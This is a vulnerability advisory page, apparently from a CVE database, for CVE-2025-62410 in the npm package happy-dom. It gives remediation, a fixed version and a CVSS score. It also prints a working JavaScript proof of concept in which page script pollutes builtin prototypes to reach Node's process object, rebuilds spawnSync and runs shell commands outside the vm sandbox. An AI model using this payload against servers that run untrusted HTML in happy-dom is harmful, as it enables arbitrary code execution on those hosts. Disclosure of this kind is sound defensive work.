Loading...
Skip to main content

CVE-2025-62410 — Vulnerability in happy-dom — CVE Details

CRITICAL

happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript

Published October 15, 2025Updated November 27, 2025Source: osv

Summary

### Summary The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads. ### Details The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf). ### PoC Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn(). ```js import { Browser } from "happy-dom"; const browser = new Browser({settings: {enableJavaScriptEvaluation: true}}); const page = browser.newPage({console: true}); page.url = 'https://example.com'; let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};' page.content = `<html> <script> function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} this.constructor.constructor.__proto__.__proto__.toString = f; this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f; // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf </script> <body>Hello world!</body></html>`; await browser.close(); console.log(`The process object is ${process}`); console.log(process.hasOwnProperty('spawn')); ``` ### Impact Arbitrary code execution via breaking out of the Node.js' vm isolation. ### Recommended Immediate Actions Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead. Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Advisory Timeline

  • First published October 15, 2025 (362 days ago).
  • Last revised November 27, 2025 — 43 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update happy-dom to 20.0.2 or later
npm install happy-dom@20.0.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
happy-dom
npm
All versions20.0.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-1321
    Prototype PollutionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2025-62410?
happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.0/10).
How do I check if my project is affected by CVE-2025-62410?
CVE-2025-62410 affects happy-dom. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-62410 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-qpm2-6cq5-7pq5

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies